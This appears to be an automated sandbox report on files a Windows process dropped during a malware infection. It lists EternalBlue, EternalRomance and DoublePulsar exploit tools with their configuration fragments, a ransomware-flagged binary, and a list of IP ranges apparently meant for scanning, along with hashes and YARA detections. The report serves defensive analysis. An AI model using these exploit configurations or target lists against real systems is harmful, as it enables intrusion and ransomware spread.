C:\Windows\Temp\Doublepulsar-1.3.1.xml

Download File

Process:	C:\Windows\Temp\MpMgSvc.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	5349
Entropy (8bit):	4.7478640209666985
Encrypted:	false
SSDEEP:	96:yJhKJ6yPl/rGH4rAH+6UlbscJsZPF97yr+HKSB+x+M+rEH:k4JFIXepb9ga
MD5:	09D45AE26830115FD8D9CDC2AA640CA5
SHA1:	41A6AD8D88B6999AC8A3FF00DD9641A37EE20933
SHA-256:	CF33A92A05BA3C807447A5F6B7E45577ED53174699241DA360876D4F4A2EB2DE
SHA-512:	1A97F62F76F6F5A7B668EADB55F08941B1D8DFED4A28C4D7A4F2494FF57E998407EC2D0FEDAF7F670EB541B1FDA40CA5E429D4D2A87007EC45EA5D10ABD93AA5
Malicious:	false
Yara Hits:	Rule: INDICATOR_TOOL_EXP_EternalBlue, Description: Detects Windows executables containing EternalBlue explitation artifacts, Source: C:\Windows\Temp\Doublepulsar-1.3.1.xml, Author: ditekSHen
Reputation:	unknown
Preview:	<?xml version="1.0" encoding="UTF-8"?>..<config xmlns="urn:trch".. id="a748cf79831d6c2444050f18217611549fe3f619".. name="Doublepulsar".. version="1.3.1".. configversion="1.3.1.0".. schemaversion="2.0.0">.. <inputparameters>.. .. <parameter name="NetworkTimeout" description="Timeout for blocking network calls (in seconds). Use -1 for no timeout." type="S16">.. <default>60</default>.. </parameter>.. <parameter name="TargetIp" xdevmap="TARGET_IP_V4_ADDRESS" description="Target IP Address" type="IPv4"/>.. <parameter name="TargetPort" xdevmap="TARGET_PORT" description="Port used by the Double Pulsar back door" type="TcpPort">.. <default>445</default>.. </parameter>.. .. <paramchoice name="Protocol" xdevmap="DOUBLEPULSAR_PROTOCOL_TYPE" description="Protocol for the backdoor to speak">.. <default>SMB</default>.. <paramgroup name="SMB" description="Ring 0 S

C:\Windows\Temp\Eternalblue-2.2.0.exe

Download File

Process:	C:\Windows\Temp\MpMgSvc.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	129024
Entropy (8bit):	6.602409453417197
Encrypted:	false
SSDEEP:	1536:YEI4kX/3TWbMPqc+4GJky+IBgXDfsggZK4WBc+FtDc+AX4VHKpdhxm/wl6uv/+Ws:ITiMPqiruJB+rrAX4edbmruvmkI79
MD5:	8C80DD97C37525927C1E549CB59BCBF3
SHA1:	4E80FA7D98C8E87FACECDEF0FC7DE0D957D809E1
SHA-256:	85B936960FBE5100C170B777E1647CE9F0F01E3AB9742DFC23F37CB0825B30B5
SHA-512:	50E9A3B950BBD56FF9654F9C2758721B181E7891384FB37E4836CF78422399A07E6B0BFAB16350E35EB2A13C4D07B5CE8D4192FD864FB9AAA9602C7978D2D35E
Malicious:	true
Yara Hits:	Rule: JoeSecurity_ETERNALBLUE, Description: Yara detected ETERNALBLUE, Source: C:\Windows\Temp\Eternalblue-2.2.0.exe, Author: Joe Security Rule: INDICATOR_TOOL_EXP_EternalBlue, Description: Detects Windows executables containing EternalBlue explitation artifacts, Source: C:\Windows\Temp\Eternalblue-2.2.0.exe, Author: ditekSHen
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......8h..\|...\|...\|...[..q...[..~...[...l...[...;...uq..z...%*..y...\|.......[..}...uq..B...uq..}...Rich\|...................PE..L.....Q.................x..........o^............@..........................0............@.................................D.......................................................................x...@............................................text....v.......x.................. ..`.rdata...@.......B...\|..............@..@.data..../.......(..................@....reloc..............................@..B........................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\Eternalblue-2.2.0.xml

Download File

Process:	C:\Windows\Temp\MpMgSvc.exe
File Type:	XML 1.0 document, ASCII text
Category:	dropped
Size (bytes):	7649
Entropy (8bit):	5.003335636285692
Encrypted:	false
SSDEEP:	192:N59/klempFDP/OoNO+nGINyXtgr12Il6Vet4f:N5KlZpF6IM
MD5:	497080FED2000E8B49EE2E97E54036B1
SHA1:	4AF3FAE881A80355DD09DF6E736203C30C4FAAC5
SHA-256:	756F44F1D667132B043BFD3DA16B91C9F6681E5D778C5F07BB031D62FF00D380
SHA-512:	4F8BD09F9D8D332C436BEB8164EEC90B0E260B69230F102565298BEFF0DB37265BE1AE5EB70ACF60E77D5589C61C7EE7F01A02D2A30AC72D794A04EFEF6F25DF
Malicious:	false
Yara Hits:	Rule: INDICATOR_TOOL_EXP_EternalBlue, Description: Detects Windows executables containing EternalBlue explitation artifacts, Source: C:\Windows\Temp\Eternalblue-2.2.0.xml, Author: ditekSHen
Reputation:	unknown
Preview:	<?xml version='1.0' encoding='utf-8'?>.<config xmlns='urn:trch' name='Eternalblue' version='2.2.0' schemaversion='2.1.0' configversion='2.2.0.0' id='0f38f55b6a88feccfb846d3d10ab4687e652e63e'>. <inputparameters>. <parameter hidden='true' type='TcpPort' name='DaveProxyPort' description='DAVE Core/Proxy Hookup connection port'>. <default>0</default>. </parameter>. <parameter type='S16' name='NetworkTimeout' description='Timeout for blocking network calls (in seconds). Use -1 for no timeout.'>. <default>60</default>. </parameter>. <parameter xdevmap='TARGET_IP_V4_ADDRESS' type='IPv4' name='TargetIp' description='Target IP Address'/>. <parameter xdevmap='TARGET_PORT' type='TcpPort' name='TargetPort' description='Port used by the SMB service for exploit connection'>. <default>445</default>. </parameter>. <parameter xdevmap='ETERNALBLUE_VALIDATE_TARGET' type='Boolean' name='VerifyTarget' description='Validate the SMB string from target against the targe

C:\Windows\Temp\Eternalromance-1.4.0.exe

Download File

Process:	C:\Windows\Temp\MpMgSvc.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	44032
Entropy (8bit):	6.364306457998671
Encrypted:	false
SSDEEP:	384:JoviO9v8ev1gHVXNuxqmwA6vAbCm2qu09mEwj7Bh+GQKOtGvMuSeU2dl4el4xP:QiO9y0xqm6vAGmXHTnKOMBbl8P
MD5:	4420F8917DC320A78D2EF14136032F69
SHA1:	06CD886586835B2BF0D25FBA4C898B69E362BA6D
SHA-256:	B99C3CC1ACBB085C9A895A8C3510F6DAAF31F0D2D9CCB8477C7FB7119376F57B
SHA-512:	020F0E42CB26B0EC39FBD381E289466509612307E76A0BFD820247D986E9959FE8E68A1CC41DC2A36F8387C61D88A0B0C900D2A406967EBF5C051AD39B026942
Malicious:	true
Yara Hits:	Rule: EquationGroup_Toolset_Apr17_Doublepulsar_1_3_1, Description: Detects EquationGroup Tool - April Leak, Source: C:\Windows\Temp\Eternalromance-1.4.0.exe, Author: Florian Roth Rule: EquationGroup_Toolset_Apr17_Eternalromance_2, Description: Detects EquationGroup Tool - April Leak, Source: C:\Windows\Temp\Eternalromance-1.4.0.exe, Author: Florian Roth Rule: EquationGroup_Toolset_Apr17_Eternalromance, Description: Detects EquationGroup Tool - April Leak, Source: C:\Windows\Temp\Eternalromance-1.4.0.exe, Author: Florian Roth Rule: INDICATOR_TOOL_EXP_EternalBlue, Description: Detects Windows executables containing EternalBlue explitation artifacts, Source: C:\Windows\Temp\Eternalromance-1.4.0.exe, Author: ditekSHen
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........j.v9.v9.v9.G.9.v9.G.9.v9.G.9..v9.G.9..v9...9.v9..e9.v9.w9N.v9.G.9.v9...9.v9...9.v9Rich.v9........PE..L...{..O.................p...8.......y............@.................................7.....@........................................................................................................8...@............................................text....n.......p.................. ..`.rdata..h&.......(...t..............@..@.data...(...........................@....rsrc...............................@..@.reloc..T...........................@..B........................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\Eternalromance-1.4.0.xml

Download File

Process:	C:\Windows\Temp\MpMgSvc.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	21400
Entropy (8bit):	4.861517810415294
Encrypted:	false
SSDEEP:	96:i06QxDq/1yDOP0HX0NW07N0jcfU9PLD0Qg0+d0U0PHKbSP0B0btIaTiP0zTM0h8T:i0BYGUuukfew8UEhTZdNtug6aDShseVy
MD5:	90D179A2F46C02BCDF9CF625EA5AA752
SHA1:	3EB0DA5A71456C7C2459FA44611FF53CD1B36A15
SHA-256:	6C55B736646135C0ACBAD702FDE64574A0A55A77BE3F39287774C7E518DE3DA9
SHA-512:	CFBE2E8A9ED33CD2D5C4C9B9F0E0839C6AA9E05698EEB96E3095B025D8E511239AAEDEDF65A91141F99F0422F1E7A27E7756C2A278192869C903840B6B1DADD4
Malicious:	false
Yara Hits:	Rule: INDICATOR_TOOL_EXP_EternalBlue, Description: Detects Windows executables containing EternalBlue explitation artifacts, Source: C:\Windows\Temp\Eternalromance-1.4.0.xml, Author: ditekSHen
Reputation:	unknown
Preview:	<?xml version="1.0" encoding="UTF-8"?>..<config xmlns="urn:trch".. id="df1cc1973caa2c3e1bbe4d2e48ffd23e50e4e428".. name="Eternalromance".. version="1.4.0".. configversion="1.4.0.0".. schemaversion="2.0.0">.. <inputparameters>.. All plugins that perform blocking network calls must have a NetworkTimeout.. parameter or its equivalent -->.. <parameter name="NetworkTimeout".. description="Timeout for blocking network calls (in seconds). Use -1 for no timeout.".. type="S16">.. <default>60</default>.. </parameter>.. .. <parameter name="TargetIp".. description="Target IP Address".. type="IPv4"/>.. .. <parameter name="TargetPort" description="Target TCP port" type="TcpPort">.. <default>445</default>.. </parameter>.. .. <parameter name="MaxExploitAttempts".. description="Number of tries to exploit. Default 3".. type="U32"..

C:\Windows\Temp\Wmicc.exe

Download File

Process:	C:\Windows\Temp\MpMgSvc.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1474560
Entropy (8bit):	6.607401692154323
Encrypted:	false
SSDEEP:	24576:DsFOZ62cLb7JDx44k3GwHiqBxZo60jpbqf/Z3Eh:DPcH9D6JPvBxZo6epbqnI
MD5:	4935B75F2A23D38527CF3821C9D9DAC3
SHA1:	F17AA56215AB7B90DA00F048FE30D39A2D671B5D
SHA-256:	DD2D7B07E9091590AE60B42022956319BBBBD51B457EA214FB475ECC3E9156F8
SHA-512:	348E041104DE20B0850B19DB1EBB88AE0B65ECD1695F1ADE47E099D62DA9CEC983A1A73E7FC657509B4FC58496784E0C1681BF46265477B75FDFAB440C41ACBD
Malicious:	true
Yara Hits:	Rule: JoeSecurity_blackmoon, Description: Yara detected BlackMoon Ransomware, Source: C:\Windows\Temp\Wmicc.exe, Author: Joe Security Rule: JoeSecurity_PowershellDownloadAndExecute, Description: Yara detected Powershell download and execute, Source: C:\Windows\Temp\Wmicc.exe, Author: Joe Security Rule: MALWARE_Win_BlackMoon, Description: Detects executables using BlackMoon RunTime, Source: C:\Windows\Temp\Wmicc.exe, Author: ditekSHen
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........!...r...r...r..r...ra..r...r!..r...r...r:..rJ..r...r...rK..ra..r...r...r'..r...r...rJ..r...rRich...r........................PE..L......f............................\|.............@.........................................................................8........................................................................................................................text...B........................... ..`.rdata...Q.......`..................@..@.data....Q...@...0...@..............@....rsrc................p..............@..@................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\__PSScriptPolicyTest_cci3b1oi.f5j.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_w5ziaupn.qx4.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\cnli-1.dll

Download File

Process:	C:\Windows\Temp\MpMgSvc.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	100864
Entropy (8bit):	6.5974034404211235
Encrypted:	false
SSDEEP:	3072:LrZL1wTcqmJ3QthbjsKXhoF3P3aTCLEA7HHxJPt:LN47aF3CTC37H
MD5:	A539D27F33EF16E52430D3D2E92E9D5C
SHA1:	F6D4F160705DC5A8A028BACA75B2601574925AC5
SHA-256:	DB0831E19A4E3A736EA7498DADC2D6702342F75FD8F7FBAE1894EE2E9738C2B4
SHA-512:	971C7D95F49F9E1AE636D96F53052CFC3DBDB734B4A3D386346BF03CA78D793EAEE18EFCAE2574B88FDEE5633270A24DB6C61AA0E170BCC6D11750DBD79AD0AF
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......Q.w.............2Md.....2Mb.....2Mw.....2Mt.U...L..............2Mg..........................Rich............PE..L.....LO...........!.........\|............... ............................................@..........................7..UM...*..d...............................X....................................%..@............ ...............................text...V........................... ..`.rdata..Ud... ...f..................@..@.data...l............x..............@....reloc...............\|..............@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\coli-0.dll

Download File

Process:	C:\Windows\Temp\MpMgSvc.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	15360
Entropy (8bit):	5.761304172445805
Encrypted:	false
SSDEEP:	192:c1VDVzDJuoJ/a8yRIB4Al4rKoRbFjGgGz3bG8sEwdCs8Ej2uHR0EhBkM2NFU+z4o:c1VxsoNKI++u1qz3K8BwxCO103z4VL2
MD5:	3C2FE2DBDF09CFA869344FDB53307CB2
SHA1:	B67A8475E6076A24066B7CB6B36D307244BB741F
SHA-256:	0439628816CABE113315751E7113A9E9F720D7E499FFDD78ACBAC1ED8BA35887
SHA-512:	D6B819643108446B1739CBCB8D5C87E05875D7C1989D03975575C7D808F715DDCCE94480860828210970CEC8B775C14EE955F99BD6E16F9A32B1D5DAFD82DC8C
Malicious:	true
Yara Hits:	Rule: INDICATOR_TOOL_EXP_EternalBlue, Description: Detects Windows executables containing EternalBlue explitation artifacts, Source: C:\Windows\Temp\coli-0.dll, Author: ditekSHen
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........Gj..&...&...&....y..&.......&....j..&....i.&...^...&......&...&..E&....z..&...^...&...^...&...^...&..Rich.&..........................PE..L...7.LO...........!.................'.......0...............................`............@..........................>......D4...............................P......................................P3..@............0...............................text............................... ..`.rdata.......0......."..............@..@.data...\....@.......2..............@....reloc..(....P.......6..............@..B........................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\crli-0.dll

Download File

Process:	C:\Windows\Temp\MpMgSvc.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	17408
Entropy (8bit):	5.756189024325687
Encrypted:	false
SSDEEP:	384://8GSU0q4AG2FuEe4k9k+kGP599OdcxwX6Sn+P47kAkluNO8Nofi/4Rtz://8GSU0qnhEEe4QTHP79OdcxwX6S+PQA
MD5:	F82FA69BFE0522163EB0CF8365497DA2
SHA1:	75BE54839F3D01DC4755DDC319F23F287B1F9A7B
SHA-256:	B556B5C077E38DCB65D21A707C19618D02E0A65FF3F9887323728EC078660CC3
SHA-512:	D9CFC2AF1C2E16171F3446991A3FFB441DB39BFAEA3C8993AACE632088EA1B3A64F81AAD10B0F8788804876C66374EDF0CB7ECB0D94005D648744E67AC537DB5
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......Y..g...4...4...4:6.4...4:6.4...4:6.4...4:6.4]..4..O4...4D..4...4...4D..4:6.4...4.._4...4..N4...4..M4...4Rich...4................PE..L.....LO...........!.....,...........6.......@...............................p............@..........................D.......A..P............................`.......................................@..@............@..h............................text....+.......,.................. ..`.rdata..2....@.......0..............@..@.data...\....P.......:..............@....reloc..R....`.......>..............@..B................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\ctfmoon.exe

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	9501960
Entropy (8bit):	7.0256823838767835
Encrypted:	false
SSDEEP:	196608:FQwfQzHzARHblaR6cnawftA3YTcd1Oc5h2D:dQTzuoRbBfQYT042YD
MD5:	1DE26EF85F7218E1DF4ED675FA2B05D4
SHA1:	E5217FA3B50F625D84D5E5C4B66C031F7A2446AE
SHA-256:	FDD762192D351CEA051C0170840F1D8D171F334F06313A17EBA97CACB5F1E6E1
SHA-512:	ADA80A9F97BEC76899ECCC40C646387A067A201663D4D0F4537AF450EA7C92DF877F017862634E32E9E2BA08CA6D41806DC03F0DFD7F811CA303B56B1AC17D92
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L..........$"...........2/..H.......E........Y...@..........................`......;....@..................................0..........................+...@........................................................Y..............................text....0/......2/................. ..`.rdata..@v..P/..x..6/.............@..@.data....J....Y..H....Y.............@.../4......'.... c......._.............@..B/19....._n...0c..p...._.............@..B/32......c....k..d...hh.............@..B/46.....*.....m.......i.............@..B/65.....M.... m.......i.............@..B/78..........0\|.......x.............@..B/90.....`Y......Z...n..............@..B.idata.......0.....................@....reloc.......@.....................@..B.symtab......`........................B........................................................................................................

C:\Windows\Temp\dmgd-4.dll

Download File

Process:	C:\Windows\Temp\MpMgSvc.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	479744
Entropy (8bit):	6.050098948417828
Encrypted:	false
SSDEEP:	3072:VgSjV199+51p9xrQmd1xHQmh1t38lzwpzKVJV2E5Jp2rxrI1+uhHIZ+gHTTnIv+g:Vg1gm
MD5:	A05C7011AB464E6C353A057973F5A06E
SHA1:	E819A4F985657B58D06B4F8AD483D8E9733E0C37
SHA-256:	50F329E034DB96BA254328CD1E0F588AF6126C341ED92DDF4AEB96BC76835937
SHA-512:	7F8FCE95B08B0013C57BF05A34D320925E7007D4E82B9F62B7A609038494132F5B85C5918DE975C13591EC7A915C238896E9DD7C6A3626A3BB556E0E718BAD6D
Malicious:	true
Yara Hits:	Rule: Windows_Exploit_Eternalblue_ead33bf8, Description: unknown, Source: C:\Windows\Temp\dmgd-4.dll, Author: unknown
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......E.!9..Oj..Oj..Oj&`2j..Oj&`4j..Oj&`!j..Oj&`"jA.Oj...j..OjX.\j..Oj..NjZ.Oj&`1j..Oj...j..Oj...j..Oj...j..OjRich..Oj........PE..L...3..Q...........!.....J..........tT.......`............................................@..........................d.......a..P............................p.......................................a..@............`..x............................text....H.......J.................. ..`.rdata.......`.......N..............@..@.data........p.......T..............@....reloc.......p.......F..............@..B........................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\exma-1.dll

Download File

Process:	C:\Windows\Temp\MpMgSvc.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	10240
Entropy (8bit):	5.254000178697281
Encrypted:	false
SSDEEP:	192:+ouDzncwrjGQmzZbO8sEk3jMkx6VuxLj4l5JVIb/A:+xDz1azZa8Bkz5xDxH4xmk
MD5:	BA629216DB6CF7C0C720054B0C9A13F3
SHA1:	37BB800B2BB812D4430E2510F14B5B717099ABAA
SHA-256:	15292172A83F2E7F07114693AB92753ED32311DFBA7D54FE36CC7229136874D9
SHA-512:	C4F116701798F210D347726680419FD85880A8DC12BF78075BE6B655F056A17E0A940B28BBC9A5A78FAC99E3BB99003240948ED878D75B848854D1F9E5768EC9
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........(...FD..FD..FDVc8D.FD.a;D.FD.a=D.FD.a(D.FD.a+D..FD..UD.FD..GD..FD.a8D..FD...D.FD...D..FD...D..FDRich..FD................PE..L...#.LO...........!................Z........0...............................`............@.........................p5..I...D2..P............................P......................................X1..@............0...............................text...v........................... ..`.rdata.......0......................@..@.data...\....@......................@....reloc.......P......."..............@..B................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\ip.txt

Download File

Process:	C:\Windows\Temp\MpMgSvc.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	13896
Entropy (8bit):	3.3353823604247363
Encrypted:	false
SSDEEP:	192:rmvdBJFsqSl9u4k83Yeewf8TSaiYdZqrLFsCtcIwz1XhTmBVqqhLD4p1WxOB0+/Z:swI6VXc1aT4p12pPjWAVe8EbFg0H
MD5:	D2EB84849C2BDF08A53303F2A312E051
SHA1:	68716B66AF1D7290975CF3CBA722F2BFFC3AA8A1
SHA-256:	104A218163B38A64E5656EC57EA5CBEC9CA69022DF3AF4F39A9FC8CFD38B88F0
SHA-512:	9F637F64E25024BA3F6E2DE4D38522FA1D723FA05F220988F3491C3E82595C5BCBDA93A50DD59C1731004EE419F7747A94F6FA383F2DA6A7D4229852D6F4BCD3
Malicious:	false
Reputation:	unknown
Preview:	192.168.0.1 192.168.255.255..114.55.0.0 114.55.255.255..144.76.0.0 144.76.255.255..3.234.0.0 3.234.255.255..54.223.0.0 54.223.255.255..174.142.0.0 174.142.255.255..181.214.0.0 181.214.255.255..221.121.0.0 221.121.255.255..209.126.0.0 209.126.255.255..195.26.0.0 195.26.255.255..151.236.0.0 151.236.255.255..103.6.0.0 103.6.255.255..217.19.0.0 217.19.255.255..34.218.0.0 34.218.255.255..210.61.0.0 210.61.255.255..45.127.0.0 45.127.255.255..116.211.0.0 116.211.255.255..52.76.0.0 52.76.255.255..182.61.0.0 182.61.255.255..210.16.0.0 210.16.255.255..104.25.0.0 104.25.255.255..112.107.0.0 112.107.255.255..23.234.0.0 23.234.255.255..66.33.0.0 66.33.255.255..139.198.0.0 139.198.255.255..174.139.0.0 174.139.255.255..173.231.0.0 173.231.255.255..196.40.0.0 196.40.255.255..47.94.0.0 47.94.255.255..104.28.0.0 104.28.255.255..183.181.0.0 183.181.255.255..118.89.0.0 118.89.255.255..121.207.0.0 121.207.255.255..147.185.0.0 147.185.255.255..152.3.0.0 152.3.255.255..116.255.0.0 116.255.255.255..173.248.0.

C:\Windows\Temp\libeay32.dll

Download File

Process:	C:\Windows\Temp\MpMgSvc.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	903168
Entropy (8bit):	6.889730101758065
Encrypted:	false
SSDEEP:	12288:G8Vbf1xLg6nelYgv1GZzd6qNvFBMhLG/SV2qvteuhNJspc4z84mbKeV4gbU:bo1v1GZFNvDya/SVQuhN2p9z84m3e+U
MD5:	F01F09FE90D0F810C44DCE4E94785227
SHA1:	036F327417B7E1C6E0B91831440992972BC7802E
SHA-256:	5F30AA2FE338191B972705412B8043B0A134CDB287D754771FC225F2309E82EE
SHA-512:	90FFB4E11AB1227AFDA2F08D72D06AEDF663A28A47FCCD9C032F4044AA497093AC774E20860913D5123CC3143CB9B7DBDDA363B3F58473508027508E07C4EF12
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........$...E.L.E.L.E.L]..L.E.L..L.E.L..L.E.L..L.E.L..L.E.L.=.L.E.L.f.L.E.L.E.L.E.L..L.E.L.=.L1D.L.E.L.E.L.=.L.E.L...L.E.L.=.L.E.LRich.E.L........PE..L...a.LO...........!.....V..........G`.......p...............................0...........................................h..............@...............................................................@............p..x............................text....T.......V.................. ..`.rdata.......p.......Z..............@..@.data........`.......<..............@....rsrc...@...........................@..@.reloc...............4..............@..B........................................................................................................................................................................................................................................................................................

C:\Windows\Temp\libxml2.dll

Download File

Process:	C:\Windows\Temp\MpMgSvc.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	826368
Entropy (8bit):	6.856248953756473
Encrypted:	false
SSDEEP:	12288:OhdWYPkG1r0VtrTMhsGCQcdGfGwKaNAu5uld+tirrmrx+448+:4lPpr0PsBCfYfGg6t3rm
MD5:	9A5CEC05E9C158CBC51CDC972693363D
SHA1:	CA4D1BB44C64A85871944F3913CA6CCDDFA2DC04
SHA-256:	ACEB27720115A63B9D47E737FD878A61C52435EA4EC86BA8E58EE744BC85C4F3
SHA-512:	8AF997C3095D728FE95EEEDFEC23B5D4A9F2EA0A8945F8C136CDA3128C17ACB0A6E45345637CF1D7A5836AAA83641016C50DBB59461A5A3FB7B302C2C60DFC94
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............u...u...u..j....u......u......u......u......u..V...u...u..Xu....M..u......u....\..u...._..u..Rich.u..........PE..L.....LO...........!.....&........... .......@......................................................................P_.......W..P............................`..Ht...................................V..@............@...............................text....%.......&.................. ..`.rdata.......@.......*..............@..@.data....$...0......................@....reloc...y...`...z..."..............@..B........................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\posh-0.dll

Download File

Process:	C:\Windows\Temp\MpMgSvc.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	11264
Entropy (8bit):	5.766003132356282
Encrypted:	false
SSDEEP:	192:BNn+r+YB4cdCjWXGyby8Eaw5Xs+dNjnGy6W4l5t1Ib/X:BdW+k4z3yu8rwy+dNjnGlW40
MD5:	2F0A52CE4F445C6E656ECEBBCACEADE5
SHA1:	35493E06B0B2CDAB2211C0FC02286F45D5E2606D
SHA-256:	CDE45F7FF05F52B7215E4B0EA1F2F42AD9B42031E16A3BE9772AA09E014BACDB
SHA-512:	88151CE5C89C96C4BB086D188F044FA2D66D64D0811E622F35DCEAADFA2C7C7C084DD8AFB5F774E8AD93CA2475CC3CBA60BA36818B5CFB4A472FC9CEEF1B9DA1
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........P.#.1kp.1kp.1kp...p.1kp...p.1kp...p.1kp...p.1kp..xp.1kp.1jp.1kp...p.1kp.I.p.1kp.I.p.1kp.I.p.1kpRich.1kp................PE..L.....LO...........!................%........0...............................`............@......................... 8.......6..<............................P..0....................................5..@............0..T............................text...6........................... ..`.rdata.......0......................@..@.data...\....@......."..............@....reloc..h....P.......&..............@..B........................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\ssleay32.dll

Download File

Process:	C:\Windows\Temp\MpMgSvc.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	184320
Entropy (8bit):	6.486623727210775
Encrypted:	false
SSDEEP:	3072:mLTO9u7hG/sRtbvSRvkFKSmxuMy2n+WztW56X3AdGa1XW3VL7uGLnPhanJE+hX:eyg7hztbvSRvkWxuMlndzouWnmPLcnJ
MD5:	5E8ECDC3E70E2ECB0893CBDA2C18906F
SHA1:	43F92D0E47B1371C0442C6CC8AF3685C2119F82C
SHA-256:	BE8EB97D8171B8C91C6BC420346F7A6D2D2F76809A667ADE03C990FEFFADAAD5
SHA-512:	B41A1B7D149E8D67881A4CB753D44BE0C978577159315025E03A90EFBE5157FC7E5F6DEB71A4C66739302987406CA1410973F8598220DE4D89EBC4FCB3C18AF5
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........2...\...\...\..O...\..n!...\..n'...\..n2...\..n1..\......\...]..\..n"...\......\......\......\......\.Rich..\.................PE..L...w.LO...........!................<...............................................................................pu..A....n..P.......@...........................................................(m..@............................................text...V........................... ..`.rdata..............................@..@.data...T+.......(..................@....rsrc...@...........................@..@.reloc..............................@..B................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\tibe-2.dll

Download File

Process:	C:\Windows\Temp\MpMgSvc.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	237568
Entropy (8bit):	6.5907290500598075
Encrypted:	false
SSDEEP:	3072:GQng3MAngh6CNXfdUrYSaocn484kQL93ZnV6Bbf5+1qo3/mlch9VQ816oPYQ3:GwkQf4q481Qx3hV6Bbf5+1qbch9V91J
MD5:	F0881D5A7F75389DEBA3EFF3F4DF09AC
SHA1:	8404F2776FA8F7F8EAFFB7A1859C19B0817B147A
SHA-256:	CA63DBB99D9DA431BF23ACA80DC787DF67BB01104FB9358A7813ED2FCE479362
SHA-512:	F266BAECAE0840C365FE537289A8BF05323D048EF3451EBFFBE75129719C1856022B4BDDD225B85B6661BBE4B2C7AC336AA9EFDEB26A91A0BE08C66A9E3FE97E
Malicious:	true
Reputation:	unknown
